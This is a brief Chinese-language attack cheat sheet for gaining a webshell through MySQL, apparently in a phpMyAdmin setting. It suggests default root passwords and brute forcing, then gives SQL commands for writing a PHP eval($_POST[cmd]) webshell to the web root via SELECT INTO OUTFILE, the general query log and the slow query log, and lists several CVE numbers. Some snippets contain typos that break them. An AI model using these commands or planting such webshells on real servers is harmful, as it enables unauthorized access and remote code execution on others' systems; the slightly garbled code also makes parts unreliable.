弱口令
用户密码都是root
或者可以爆破
写入shell
最常见是select into outfile写入shell
- 需要知道网站的绝对路径,而且容易失败
- select @@basedir 看到mysql所在的绝对路径
- show variables like “secure_file_priv”; 如果值不是N U L L可以写入文件
- select load_file(‘c:/www/a.php’)
- select ‘<?php eval($_POST[cmd]; )?>’ int outfile ‘c:/www/a.php’ ;
利用日志写入shell
mysql5.0版本以上会创建日志文件,可以通过修改日志的全局变量getshell
- show variables like ‘general%’;
- 出现两个值,general_log 日志保存状态 general_log_file 日志保存路径
- 开启general_log后,可以记录用户输入的每条命令,会保存在general_log_file一个.log文件中
- set global general_log = “ON”;
- set global general_log_file =’C:/www/a.php’;
- select ‘<?php eval($_POST[cmd];)?>’;
使用慢查询日志getshell
- show variables like ‘%slow%’;
- set GLOBAL slow_query_log=on;
- set global slow_query_log_file =”C:/WWW/a.php”;
- select ‘<?phpphpinfo();?>’ from mysql.db where sleep(10);
特殊版本
CVE-2016-5734
CVE-2018-12613
CVE-2014-8959
CVE-2018-19968